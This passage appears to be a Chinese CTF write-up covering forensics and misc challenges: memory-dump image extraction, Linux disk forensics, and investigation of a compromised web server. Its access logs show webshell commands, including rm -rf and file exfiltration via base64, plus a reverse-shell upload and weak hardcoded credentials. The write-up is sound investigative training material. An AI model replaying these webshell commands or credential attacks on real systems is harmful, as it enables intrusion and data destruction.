1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 import osfrom PIL import Imageimport structDUMP_FILE_PATH = "pid.2624.dmp" OUTPUT_DIR = "extracted_images_fixed" TARGET_WIDTH = 2560 TARGET_HEIGHT = 1600 BITS_PER_PIXEL = 32 PIXEL_DATA_SIZE = TARGET_WIDTH * TARGET_HEIGHT * (BITS_PER_PIXEL // 8 ) SIZE_TOLERANCE_MB = 0.5 def search_and_extract_raw (data ): """搜索原始像素数据块,强制不透明并保存为 PNG 文件""" print (f"[*] 正在搜索 {TARGET_WIDTH} x{TARGET_HEIGHT} 的原始像素数据 ({PIXEL_DATA_SIZE / 1024 / 1024 :.2 f} MB)..." ) min_size = int (PIXEL_DATA_SIZE - SIZE_TOLERANCE_MB * 1024 * 1024 ) export_count = 0 for offset in range (0 , len (data), PIXEL_DATA_SIZE // 4 ): raw_data = data[offset : offset + PIXEL_DATA_SIZE] if len (raw_data) < min_size: continue try : img = Image.frombytes('RGBA' , (TARGET_WIDTH, TARGET_HEIGHT), raw_data, 'raw' , 'BGRA' , 0 , 1 ) r, g, b, a = img.split() new_a = Image.new('L' , img.size, 255 ) img = Image.merge('RGBA' , (r, g, b, new_a)) output_path = os.path.join(OUTPUT_DIR, f"mspaint_2624_0x{offset:x} _fixed.png" ) img.save(output_path) print (f"[SUCCESS] 成功导出图片 (偏移: 0x{offset:x} ),已强制不透明: {output_path} " ) export_count += 1 except Exception as e: continue return export_count > 0 if __name__ == "__main__" : if not os.path.exists(DUMP_FILE_PATH): print (f"[ERROR] 找不到转储文件: {DUMP_FILE_PATH} " ) exit(1 ) if not os.path.exists(OUTPUT_DIR): os.makedirs(OUTPUT_DIR) print (f"[*] 正在读取内存转储文件: {DUMP_FILE_PATH} " ) with open (DUMP_FILE_PATH, 'rb' ) as f: memory_data = f.read() print (f"[*] 文件读取完毕 ({len (memory_data) / 1024 / 1024 :.2 f} MB)" ) found_raw = search_and_extract_raw(memory_data) if not found_raw: print ("\n[INFO] 未能通过原始数据块匹配导出任何图片。" ) else : print ("\n[DONE] 所有匹配的数据块均已导出。请检查 'extracted_images_fixed' 文件夹中的 PNG 文件。" )
解压得到flag.txt
1 flag{1z_volatility_F0r3ns1c5}
[Week3] 爱茂TV 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 Info: 题组: Forensics - 爱茂TV (已完成 2/10) Info: [✔] 0. 机主使用的用户名 flag{hajimi} Info: [.] 格式:形如 flag{114514} 的字符串,全部小写 Info: [-] 1. 机主用户信息中隐藏的 Flag(按原样提交获取到的内容) /etc/passwd flag{I_l0v3_M4od1e} Info: [-] 2. 机主最近自行安装字体的家族名称 Info: [.] 格式:形如 flag{114514} 的字符串,全部小写 HarmonyOS_SansSC flag{harmonyos_sanssc} flag{harmonyos_sans} flag{鸿蒙黑体} Info: [✔] 3. 机主使用的 FTP 传输工具(全小写不含扩展名) flag{filezilla} Info: [-] 4. 机主使用这个工具登录了一个外网服务器,请找出其 IP 地址与密码 Info: [.] 格式:flag{IP地址$密码},形如 flag{114.514.19.19$810} <?xml version="1.0" encoding="UTF-8"?> <FileZilla3 version="3.68.1" platform="*nix"> <RecentServers> <Server> <Host>192.168.233.1</Host> <Port>21</Port> <Protocol>0</Protocol> <Type>0</Type> <User>hajimi</User> <Pass encoding="base64">MTE0NTE0</Pass> <Logontype>1</Logontype> <PasvMode>MODE_DEFAULT</PasvMode> <EncodingType>Auto</EncodingType> <BypassProxy>0</BypassProxy> </Server> <Server> <Host>112.2.196.181</Host> <Port>21</Port> <Protocol>0</Protocol> <Type>0</Type> <User>hajimi</User> <Pass encoding="base64">MTE0X1M0ZjNQd2RfNTE0</Pass> <Logontype>1</Logontype> <PasvMode>MODE_DEFAULT</PasvMode> <EncodingType>Auto</EncodingType> <BypassProxy>0</BypassProxy> </Server> <Server> <Host>192.168.233.128</Host> <Port>21</Port> <Protocol>0</Protocol> <Type>0</Type> <User>hajimi</User> <Pass encoding="base64">MTE0NTE0</Pass> <Logontype>1</Logontype> <PasvMode>MODE_DEFAULT</PasvMode> <EncodingType>Auto</EncodingType> <BypassProxy>0</BypassProxy> </Server> <Server> <Host>127.0.0.1</Host> <Port>21</Port> <Protocol>0</Protocol> <Type>0</Type> <User>hajimi</User> <Pass encoding="base64">MTE0NTE0</Pass> <Logontype>1</Logontype> <PasvMode>MODE_DEFAULT</PasvMode> <EncodingType>Auto</EncodingType> <BypassProxy>0</BypassProxy> </Server> </RecentServers> </FileZilla3> 外网 flag{112.2.196.181$114_S4f3Pwd_514} Info: [-] 5. 机主对外通信使用的邮箱地址 flag{praxoppogrebro-5874@yopmail.net} cat ./home/hajimi/.mozilla/firefox/djexozqp.default-esr/extension-settings.json # 在 profile 目录统计所有出现过的邮箱并按次数排序(便于优先判断) grep -RIna --binary-files=without-match -E "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}\b" . 2>/dev/null \ | grep -o -E "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}\b" | sort | uniq -c | sort -nr | sed -n '1,50p' Info: [-] 6. "加速器安装程序"的 MD5 值(全小写) flag{7ce89dbb371ae598702e111cede3d75a} Info: [-] 7. "加速器安装程序"释放的文件中,有一个是端口扫描程序经重命名而成,请找出其文件名与原程序名。 Info: [.] 格式:flag{文件名#原程序名} flag{ls#fscan} Info: [-] 8. "加速器安装程序"中的哪一行命令导致机主无法正常登录图形界面 Info: [.] 格式:flag{一行内的完整命令} flag{systemctl disable lightdm >/dev/null 2>&1 || true} Info: [-] 9. Shell 无法使用是由于什么文件被修改了?机主依然能使用哪些 Shell 登录(按字母序列出可执行文件名)? Info: [.] 格式:flag{文件#shellA#shellB#...},使用#分隔 flag{/etc/bash.bashrc#dash#sh} chao@kali:/Users/chao/tmp/ctf/forensics/[Week3] 爱茂TV/mnt$ sed -n '1,120p' ./etc/shells # /etc/shells: valid login shells /bin/sh /usr/bin/sh /bin/bash /usr/bin/bash /bin/rbash /usr/bin/rbash /usr/bin/dash chao@kali:/Users/chao/tmp/ctf/forensics/[Week3] 爱茂TV/mnt$ find home -type f -iname "sitemanager.xml" -o -iname "*filezilla*" 2>/dev/null home/hajimi/.cache/filezilla home/hajimi/文档/filezilla.log
[Week4] 安卓服务?安卓人? 我炒,Arch!不过uuid变了还得手动改fstab zen内核,有品!
先看小作文:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 你好🍎人[root@arch chenfeng]# cat Documents/diary-chenfeng.md # 澄峰建站日记 ## 2025-10-08 有个工作上的同事看我在做祝福视频,说订单收入还是在用电子表格去记不是很好,建议我搞个“全栈”网页。说是不仅方便管理,还有助于宣传涨热度...我问他能不能帮我做,他却回道“真做不出苹果项目”。 切,不就是看我火了嫉妒不想帮我做呗——你们这群安卓素质、安卓语法、安卓态度的安卓人真是够了,我还巴不得呢。听说 AI 啥的做这东西很专业,只需要写几句话就能出一个项目,我倒来试试看。 ## 2025-10-10 可惜我有点拖延症,不过这 Copilot 真是帮了大忙,不出几轮对话就把项目生成出来了。接下来是要配环境,按 AI 说的要搞一个 LAMP 栈,估计还要一段时间。 ## 2025-10-12 尝试着按网上的文档配了网站,结果移动的时候提示权限不足。 我就纳闷了,一个只有本地用户才能访问的服务器目录设置这么复杂的权限干什么?这一定是安卓开发者的阴谋!我把它改成 777 了,看你还怎么报错。 ## 2025-10-14 配置 Apache 服务,几度要飞升。 先是访问子目录报 404,AI 说要用 vhost,结果这样一下来全都访问不了;数据库也是,一行一行敲的创建表代码,到访问的时候怎么会出问题?!AI 也行不通吗?安卓 AI。同事见我搞两个多小时红温了,才笑嘻嘻地过来教我改权限...什么安卓态度,搞得我好像不会自己做一样。 真是越想越来气,这些软件的开发者用的配置文件五花八门,文档也生硬晦涩,怕我们苹果人看不懂,这样就好低声下气问他们??安卓服务!不,我的服务才不会是安卓服务。我们苹果人搭起来的服务必定是苹果服务。 ## 2025-10-15 我不管了。今晚!这个属于我的苹果服务就要上线。不计一切代价,*安卓人除外* 。 不过现有的数据量还是不够多,我得生成一些,不然也太冷清了。 **更新:** 那个房管怎么知道我这服务的?!坏事了,这留言删都删不掉...算是记住你了;;不过你虚报一千什么意思??!**更新:** 想来想去这个本月开销还是把前面一段时间的收支补上去好了,看着也显得我澄峰不是一般人,嘿嘿 我就是苹果人,不接受反驳。## 2025-10-16 卧槽,我的赞助记录怎么全没了?订单记录也一团糟!傻了傻了,得赶快请个高人。 **更新:** 想来想去还是睡不着,这么苹果的服务是怎么被攻击到的...也许我并不是100%的苹果人吧。**更新:** 质疑这个服务存在的意义了。删几个文件以儆效尤。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 Info: 欢迎来到 ?CTF 2025 Android Platform!目前有 1 个题组。 Info: 初来乍到,输入 help 获取使用帮助。 NekoChecker [/] > show 0 Info: 题组: Forensics - 安卓服务?安卓人? (已完成 0/10) Info: [-] 0. 攻击事件发生在外网(WAN)还是内网(LAN)?并指出被攻击机器在网络的IP Info: [.] 格式:flag{答案1#1.1.1.1},第一个问题使用 `WAN` / `LAN` 回答 flag{LAN#192.168.119.139}✅ Info: [-] 1. 网页服务器连接使用的用户、密码与数据库名称 Info: [.] 格式:flag{用户名:密码@数据库名称} flag{chenfeng:pingguochenfeng@chenfeng-db}✅ Info: [-] 2. Web服务于受攻击时段启动与关闭的时间 Info: [.] 格式:flag{hh:mm:ss-hh:mm:ss} flag{20:00:08-22:31:11}✅ Info: [-] 3. 攻击者利用最多的 WebShell 文件名与连接密码 Info: [.] 格式:flag{filename.php&password} flag{gift.php&chenfeng}✅ Info: [-] 4. 攻击者未能获得后端源码的原因是权限不对, 找出攻击者试图访问时使用的用户名与未能访问目录的权限 Info: [.] 格式:flag{username#%%%},%代表一位数字 flag{http#700}✅ Info: [-] 5. 对数据库做出破坏的攻击者IP与可能执行的SQL语句 Info: [.] 格式:flag{1.1.1.1#command object},SQL语句指令全小写且只有一行,无尾随分号 flag{192.168.119.1#drop table sponsorship}✅ Info: [-] 6. 扣除可能的欠款后,澄峰的收入与支出总和(一个有符号数) -54552 欠2000(3000里虚报了1000) flag{-56552}✅ Info: [-] 7. 数据库现存内容中的flag flag{W3_w0uld_bec0me_fr1eNds_@ga1n}✅ Info: [-] 8. 除去赞助收入,澄峰的第一大收入来源与数额 Info: [.] 格式:flag{source#amount} flag{直播间礼物#228220}✅ Info: [-] 9. 澄峰崩溃至极,使用了工具来深度删除文件,他使用了什么命令实现这一点 Info: [.] 格式:flag{命令} flag{shred -uz .bash_history}✅
简单探索,这个.viminfo很好用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 你好🍎人[root@arch ~] > /etc/httpd/conf/httpd.conf * 1760529606 0 " 231 0 ^ 231 1 . 231 0 + 52 0 + 231 0 你好🍎人[root@arch ~]# ls 你好🍎人[root@arch ~]# cat /etc/httpd/conf/httpd.conf <IfModule ssl_module> SSLRandomSeed startup builtin SSLRandomSeed connect builtin </IfModule> IncludeOptional conf/conf.d/*.conf Include conf/extra/php-fpm.conf ProxyPreserveHost On ProxyTimeout 60 # 将 /api 转发到 127.0.0.1:5174(你的 FastAPI) ProxyPass /api/ http://127.0.0.1:5174/api/ retry=0 ProxyPassReverse /api/ http://127.0.0.1:5174/api/ # 可选:为静态资源添加缓存头 <FilesMatch " \\.(js|css|png|jpg|jpeg|gif|svg|ico)$"> Header set Cache-Control " public, max-age=31536000, immutable" </FilesMatch> # History of marks within files (newest to oldest): > /etc/httpd/conf/httpd.conf * 1760367950 0 " 288 20 ^ 288 21 > /var/log/httpd/error_log * 1760367793 0 " 917 0 > /var/log/httpd/access_log * 1760367775 0 " 277 0> ~/Desktop/cfvideo/apps/python-server/start.sh * 1760359706 0 " 9 29 ^ 8 2 . 8 1 + 9 51 + 8 1 > /srv/http/test.php * 1760352730 0 " 2 0 ^ 2 0 . 1 19 + 1 19 > /etc/bash.bashrc * 1760332289 0 " 12 47 ^ 12 48 > /etc/bash.bash * 1760331537 0 " 1 0你好🍎人[root@arch chenfeng] cd "$(dirname "$0 " ) " echo "启动 Python FastAPI 服务..." uvicorn main:app --host 0.0.0.0 --port 5174 --reload 你好🍎人[chenfeng@arch ~]$ cat mount-shared.sh sudo /usr/bin/vmhgfs-fuse .host:/ /home/chenfeng/shares -o subtype=vmhgfs-fuse,allow_other 你好🍎人[chenfeng@arch ~]$ cat /etc/bash.bashrc [[ $- != *i* ]] && return if [[ -z "${BASHRCSOURCED} " ]] ; then BASHRCSOURCED="Y" [[ "$PS1 " = '\s-\v\$ ' ]] && PS1='你好🍎人[\u@\h \W]\$ ' case ${TERM} in Eterm*|alacritty*|aterm*|foot*|gnome*|konsole*|kterm*|putty*|rxvt*|tmux*|xterm*) PROMPT_COMMAND+=('printf "\033]0;%s@%s:%s\007" "${USER}" "${HOSTNAME%%.*}" "${PWD/#$HOME/\~}"' ) ;; screen*) PROMPT_COMMAND+=('printf "\033_%s@%s:%s\033\\" "${USER}" "${HOSTNAME%%.*}" "${PWD/#$HOME/\~}"' ) ;; esac fi if [[ -r /usr/share/bash-completion/bash_completion ]]; then . /usr/share/bash-completion/bash_completion fi
看access_log大概可以看出来传了个一句话
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 192.168.119.128 - - [15/Oct/2025:21:37:16 +0800] "GET /uploads/gift.php HTTP/1.1" 500 - 192.168.119.128 - - [15/Oct/2025:21:37:16 +0800] "GET /uploads/gift.php HTTP/1.1" 500 - 192.168.119.128 - - [15/Oct/2025:21:37:17 +0800] "GET /uploads/gift.php HTTP/1.1" 500 - 192.168.119.128 - - [15/Oct/2025:21:38:40 +0800] "GET /uploads/gift.php?chenfeng=114 HTTP/1.1" 200 - 192.168.119.1 - - [15/Oct/2025:21:39:23 +0800] "POST / HTTP/1.1" 200 411 192.168.119.1 - - [15/Oct/2025:21:39:46 +0800] "POST / HTTP/1.1" 200 411 192.168.119.1 - - [15/Oct/2025:21:39:49 +0800] "POST / HTTP/1.1" 200 411 192.168.119.1 - - [15/Oct/2025:21:39:51 +0800] "POST / HTTP/1.1" 200 411 192.168.119.128 - - [15/Oct/2025:21:42:56 +0800] "GET /uploads/gift.php?chenfeng=ls HTTP/1.1" 200 58 192.168.119.128 - - [15/Oct/2025:21:43:06 +0800] "GET /uploads/gift.php?chenfeng=ls%20.. HTTP/1.1" 200 26 192.168.119.128 - - [15/Oct/2025:21:43:10 +0800] "GET /uploads/gift.php?chenfeng=ls%20../.. HTTP/1.1" 200 9 192.168.119.128 - - [15/Oct/2025:21:43:16 +0800] "GET /uploads/gift.php?chenfeng=ls%20/ HTTP/1.1" 200 99 192.168.119.1 - - [15/Oct/2025:21:43:33 +0800] "POST / HTTP/1.1" 200 411 192.168.119.1 - - [15/Oct/2025:21:43:44 +0800] "POST /uploads/gift.php HTTP/1.1" 500 - 192.168.119.1 - - [15/Oct/2025:21:43:54 +0800] "POST /uploads/gift.php HTTP/1.1" 500 - 192.168.119.1 - - [15/Oct/2025:21:44:11 +0800] "POST /uploads/gift.php HTTP/1.1" 500 - 192.168.119.1 - - [15/Oct/2025:21:44:12 +0800] "POST /uploads/gift.php HTTP/1.1" 500 - 192.168.119.1 - - [15/Oct/2025:21:44:15 +0800] "POST /uploads/gift.php HTTP/1.1" 500 - 192.168.119.1 - - [15/Oct/2025:21:44:17 +0800] "POST /uploads/gift.php HTTP/1.1" 500 - 192.168.119.1 - - [15/Oct/2025:21:44:32 +0800] "POST /uploads/gift.php HTTP/1.1" 500 - 192.168.119.1 - - [15/Oct/2025:21:45:13 +0800] "POST /uploads/gift.php HTTP/1.1" 500 - 192.168.119.1 - - [15/Oct/2025:21:45:25 +0800] "POST /uploads/gift.php HTTP/1.1" 500 - 192.168.119.1 - - [15/Oct/2025:21:45:36 +0800] "POST /uploads/gift.php HTTP/1.1" 500 - 192.168.119.1 - - [15/Oct/2025:21:45:41 +0800] "POST /uploads/gift.php HTTP/1.1" 500 - 192.168.119.1 - - [15/Oct/2025:21:46:20 +0800] "GET / HTTP/1.1" 304 - 192.168.119.1 - - [15/Oct/2025:21:46:20 +0800] "GET /api/requests HTTP/1.1" 200 1817 192.168.119.1 - - [15/Oct/2025:21:47:29 +0800] "POST /api/requests HTTP/1.1" 200 11 192.168.119.1 - - [15/Oct/2025:21:47:29 +0800] "GET /api/requests HTTP/1.1" 200 1990 192.168.119.1 - - [15/Oct/2025:21:47:39 +0800] "POST /uploads/video.php HTTP/1.1" 200 - 192.168.119.1 - - [15/Oct/2025:21:47:44 +0800] "POST /uploads/video.php HTTP/1.1" 200 - 192.168.119.128 - - [15/Oct/2025:21:48:30 +0800] "GET /uploads/gift.php?chenfeng=ls%20/home HTTP/1.1" 200 9 192.168.119.128 - - [15/Oct/2025:21:48:33 +0800] "GET /uploads/gift.php?chenfeng=ls%20/home/chenfeng HTTP/1.1" 200 - 192.168.119.128 - - [15/Oct/2025:21:48:39 +0800] "GET /uploads/gift.php?chenfeng=ls%20/ HTTP/1.1" 200 99 192.168.119.128 - - [15/Oct/2025:21:48:57 +0800] "GET /uploads/gift.php?chenfeng=ls%20/srv HTTP/1.1" 200 9 192.168.119.128 - - [15/Oct/2025:21:49:00 +0800] "GET /uploads/gift.php?chenfeng=ls HTTP/1.1" 200 68 192.168.119.128 - - [15/Oct/2025:21:50:08 +0800] "GET /uploads/gift.php?chenfeng=ls HTTP/1.1" 200 68 192.168.119.128 - - [15/Oct/2025:21:52:07 +0800] "POST /api/requests HTTP/1.1" 200 11 192.168.119.128 - - [15/Oct/2025:21:52:07 +0800] "GET /api/requests HTTP/1.1" 200 2160 192.168.119.128 - - [15/Oct/2025:21:52:22 +0800] "GET /uploads/php-reverse-shell.php HTTP/1.1" 200 - 192.168.119.128 - - [15/Oct/2025:21:52:27 +0800] "GET /uploads/php-reverse-shell.php HTTP/1.1" 200 - 192.168.119.128 - - [15/Oct/2025:21:53:20 +0800] "GET /uploads/gift.php?chenfeng=ls%20.. HTTP/1.1" 200 26 192.168.119.128 - - [15/Oct/2025:21:53:33 +0800] "GET /uploads/gift.php?chenfeng=cat%20../index.html HTTP/1.1" 200 411 192.168.119.128 - - [15/Oct/2025:21:53:44 +0800] "GET /uploads/gift.php?chenfeng=ls%20.. HTTP/1.1" 200 26 192.168.119.128 - - [15/Oct/2025:21:54:06 +0800] "GET /uploads/gift.php?chenfeng=rm%20-rf%20../assets HTTP/1.1" 200 - 192.168.119.128 - - [15/Oct/2025:21:54:10 +0800] "GET /uploads/gift.php?chenfeng=ls%20.. HTTP/1.1" 200 26 192.168.119.128 - - [15/Oct/2025:21:54:21 +0800] "GET /uploads/gift.php?chenfeng=ls%20/var HTTP/1.1" 200 63 192.168.119.128 - - [15/Oct/2025:21:54:32 +0800] "GET /uploads/gift.php?chenfeng=whoami HTTP/1.1" 200 5 192.168.119.1 - - [15/Oct/2025:21:54:46 +0800] "POST /api/admin/query HTTP/1.1" 200 2160 192.168.119.1 - - [15/Oct/2025:21:55:02 +0800] "POST /api/admin/query HTTP/1.1" 500 147 192.168.119.1 - - [15/Oct/2025:21:55:39 +0800] "POST /api/admin/query HTTP/1.1" 200 50741 192.168.119.1 - - [15/Oct/2025:21:56:44 +0800] "POST /api/admin/query HTTP/1.1" 500 199 192.168.119.1 - - [15/Oct/2025:21:56:47 +0800] "POST /api/admin/query HTTP/1.1" 200 21395 192.168.119.1 - - [15/Oct/2025:21:57:24 +0800] "POST /api/admin/query HTTP/1.1" 500 318 192.168.119.1 - - [15/Oct/2025:21:57:53 +0800] "POST /api/admin/query HTTP/1.1" 500 87 192.168.119.1 - - [15/Oct/2025:21:58:10 +0800] "GET /api/sponsorship HTTP/1.1" 500 21 192.168.119.1 - - [15/Oct/2025:21:58:15 +0800] "GET /api/users HTTP/1.1" 500 21 192.168.119.1 - - [15/Oct/2025:21:58:16 +0800] "GET /api/requests HTTP/1.1" 200 2160 192.168.119.1 - - [15/Oct/2025:21:58:19 +0800] "GET /api/budget HTTP/1.1" 200 48866 192.168.119.1 - - [15/Oct/2025:21:58:30 +0800] "GET /admin/114 HTTP/1.1" 304 - 192.168.119.1 - - [15/Oct/2025:21:58:30 +0800] "GET /api/users HTTP/1.1" 500 21 192.168.119.1 - - [15/Oct/2025:21:58:31 +0800] "POST /api/admin/query HTTP/1.1" 200 2160 192.168.119.1 - - [15/Oct/2025:21:59:05 +0800] "GET /api/budget/info HTTP/1.1" 200 30 192.168.119.1 - - [15/Oct/2025:21:59:09 +0800] "POST /api/sponsorship HTTP/1.1" 500 21 192.168.119.128 - - [15/Oct/2025:22:17:26 +0800] "GET /uploads/gift.php?chenfeng=id HTTP/1.1" 200 42 192.168.119.1 - - [15/Oct/2025:22:28:30 +0800] "GET /uploads/.face HTTP/1.1" 200 411 192.168.119.1 - - [15/Oct/2025:22:28:37 +0800] "GET /uploads/gift.php HTTP/1.1" 500 - 192.168.119.1 - - [15/Oct/2025:22:28:43 +0800] "GET /uploads/gift.php?chenfeng=ls HTTP/1.1" 200 90 192.168.119.1 - - [15/Oct/2025:22:28:53 +0800] "GET /uploads/gift.php?chenfeng=cat%201799B235A5DBBB926E4C0A1860343BE5.jpg%20|%20base64 HTTP/1.1" 200 143877 192.168.119.1 - - [15/Oct/2025:22:29:55 +0800] "POST /api/requests HTTP/1.1" 200 11 192.168.119.1 - - [15/Oct/2025:22:29:55 +0800] "GET /api/requests HTTP/1.1" 200 2816
用得最多的就是这个了吧 /uploads/gift.php?chenfeng=
看源码找到下列内容,主要关注mysql,弱密码应该是攻击者的入口:
1 2 3 4 MYSQL_URL = "mysql+pymysql://chenfeng:pingguochenfeng@127.0.0.1:3306/chenfeng-db" if username == "admin" and password == "123456" : return {"success" : True }
虚拟机跑不起来,chroot进去直接启动sql
1 2 3 4 mkdir -p /run/mysqld chown mysql:mysql /run/mysqld chmod 755 /run/mysqld /usr/bin/mysqld --skip-networking --user=mysql &
这里我是直接dump出来,然后就可以在.sql文件里复制账单了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from collections import defaultdictdata = [ (1 ,'苹果赞助' ,1000 ,'2025-10-15 19:38:28.858' ), (2 ,'苹果赞助' ,514 ,'2025-10-15 19:39:06.000' ), (3 ,'苹果赞助' ,5900 ,'2025-10-15 19:39:24.924' ), (4 ,'视频订单' ,200 ,'2025-10-15 19:42:57.673' ), (5 ,'视频订单' ,1000 ,'2025-10-15 19:52:03.451' ), (6 ,'视频订单' ,200 ,'2025-10-15 20:04:58.023' ), (7 ,'视频订单' ,0 ,'2025-10-15 20:20:04.795' ), (8 ,'购买力测评' ,-100 ,'2025-10-07 11:45:14.000' ), (9 ,'工作室设备' ,-7500 ,'2025-10-01 15:31:39.000' ), (10 ,'未成年退款' ,-100 ,'2025-10-04 11:00:07.000' ), (11 ,'未成年退款' ,-50 ,'2025-10-04 14:22:33.000' ), (12 ,'给亲戚红包' ,-500 ,'2025-10-04 12:00:00.000' ), (13 ,'拼手气红包' ,250 ,'2025-10-01 00:00:04.000' ), (14 ,'代理' ,-99 ,'2025-10-01 15:30:21.000' ), (15 ,'未成年退款' ,-666 ,'2025-10-02 02:25:57.000' ), ] category_totals = defaultdict(int ) for _, category, amount, _ in data: category_totals[category] += amount for category, total in sorted (category_totals.items(), key=lambda item: item[1 ], reverse=True ): print (f"{category} : {total} " ) total_balance = sum (item[2 ] for item in data) print (f"总的结余是: {total_balance} " )
输出结果:
1 2 3 4 5 6 7 8 9 10 直播间礼物: 228220 苹果赞助: 121492 视频订单: 1400 拼手气红包: 250 代理: -99 (哈哈哈哈哈户子果然买代理) 购买力测评: -100 (好好好) 给亲戚红包: -500 工作室设备: -7500 未成年退款: -397715 (蛙趣) 总的结余是: -54552 (有点可怜)
看启动关闭时间可以这样,关注Oct 15那段就可以了
1 2 3 4 5 6 7 8 9 你好🍎人[root@arch /] [Wed Oct 15 20:00:08.916728 2025] [mpm_event:notice] [pid 9589:tid 9589] AH00489: Apache/2.4.65 (Unix) configured -- resuming normal operations [Wed Oct 15 22:31:11.834725 2025] [mpm_event:notice] [pid 9589:tid 9589] AH00491: caught SIGTERM, shutting down [Thu Oct 16 00:59:04.270264 2025] [mpm_event:notice] [pid 489:tid 489] AH00489: Apache/2.4.65 (Unix) configured -- resuming normal operations [Thu Oct 16 01:10:45.300865 2025] [mpm_event:notice] [pid 489:tid 489] AH00491: caught SIGTERM, shutting down [Fri Oct 17 00:31:33.409034 2025] [mpm_event:notice] [pid 488:tid 488] AH00489: Apache/2.4.65 (Unix) configured -- resuming normal operations [Fri Oct 17 00:37:51.587587 2025] [mpm_event:notice] [pid 488:tid 488] AH00491: caught SIGTERM, shutting down [Fri Oct 17 00:40:02.828664 2025] [mpm_event:notice] [pid 484:tid 484] AH00489: Apache/2.4.65 (Unix) configured -- resuming normal operations [Fri Oct 17 00:45:03.988453 2025] [mpm_event:notice] [pid 484:tid 484] AH00491: caught SIGTERM, shutting down
也可以用journalctl:
1 journalctl -u httpd.service --since "2025-10-15 00:00:00" --until "2025-10-17 23:59:59"
misc [Week1] 《关于我穿越到CTF的异世界这档事:序》 1 2 3 4 5 6 7 8 9 10 11 12 13 14 { '?': 0, 'C': 1, 'F': 3, 'T': 2, 'c': 7, 'i': 5, 'm': 4, 's': 6 } ZmxhZ3tUaDNfUHIxbmMxcGwzXzBmX0Jhc2VfMXNfUzBfRXp6fQ== flag{Th3_Pr1nc1pl3_0f_Base_1s_S0_Ezz}
[Week1] 俱乐部之旅(1) - 邀请函 1 2 3 4 5 6 7 8 unzip -v 200302_Try_t0_f1nd_My_s3cret.zip Archive: 200302_Try_t0_f1nd_My_s3cret.zip c5im???? Length Method Size Cmpr Date Time CRC-32 Name -------- ------ ------- ---- ---------- ----- -------- ---- 12507 Defl:N 10689 15% 08-13-2025 18:02 eb7bd9a2 steg.docx -------- ------- --- ------- 12507 10689 15% 1 file
猜测**c5im????**为密码格式,archpr爆破得到密码c5im8467。解压得到一个损坏的docx,点击修复,全选复制,粘贴到别处发现:
1 2 3 4 5 Office Open XML(缩写:Open XML或OOXML),为由Microsoft开发的一种以XML为基础并以ZIP格式压缩的电子文件规范,支持文件、表格、备忘录、幻灯片等文件格式。 OOXML在2006年12月成为了ECMA规范的一部分,编号为ECMA-376;并于2008年4月通过国际标准化组织的表决,在两个月后公布为ISO/IEC 29500国际标准。微软推出这个格式,很多人认为是出于商业考量。许多专家指出,该标准并不是个完整的标准,采用了许多微软的独有规格,使用上困难重重。 从Microsoft Office 2007开始,Office Open XML文件格式已经成为Microsoft Office默认的文件格式。Microsoft Office 2010支持对ECMA-376标准文档的读操作,ISO/IEC 29500 Transitional的读/写,ISO/IEC 29500 Strict的读取。Microsoft Office 2013同时支持ISO/IEC 29500 Strict的读写操作。
那么既然提到了zip,把docx改为zip解压。查看core.xml
1 2 3 4 5 <dc:description > 11001101101100110000111001111111011101011101100001110010110010010111110110101111010001100111100111101111111010011110011101111101100011111010</dc:description > <cp:keywords > do u know cyberchef?</cp:keywords > <cp:lastModifiedBy > 炙恕qwq</cp:lastModifiedBy > <dcterms:modified xsi:type ="dcterms:W3CDTF" > 2025-08-13T09:59:15Z</dcterms:modified > <dc:title > 标准ASCII码使用7位二进制数表示字符</dc:title >
得到前半部分flag{W0rd_5t3g_is_1z
查看steg/word/u_f0und_m3,得到2657656c63306d655f74305f7468335f6335696d5f433175627d,丢到cyberchef 得到后半部分**&Welc0me_t0_th3_c5im_C1ub}**
拼接得到完整flag:flag{W0rd_5t3g_is_1z&Welc0me_t0_th3_c5im_C1ub}
[Week1] 维吉尼亚朋友的来信 你的维吉尼亚朋友向你来信,奇怪的是你却收到了一个音频,你用眼睛仔细去听,发现信件从深处的声音中来… 用deepsound打开,提取到:
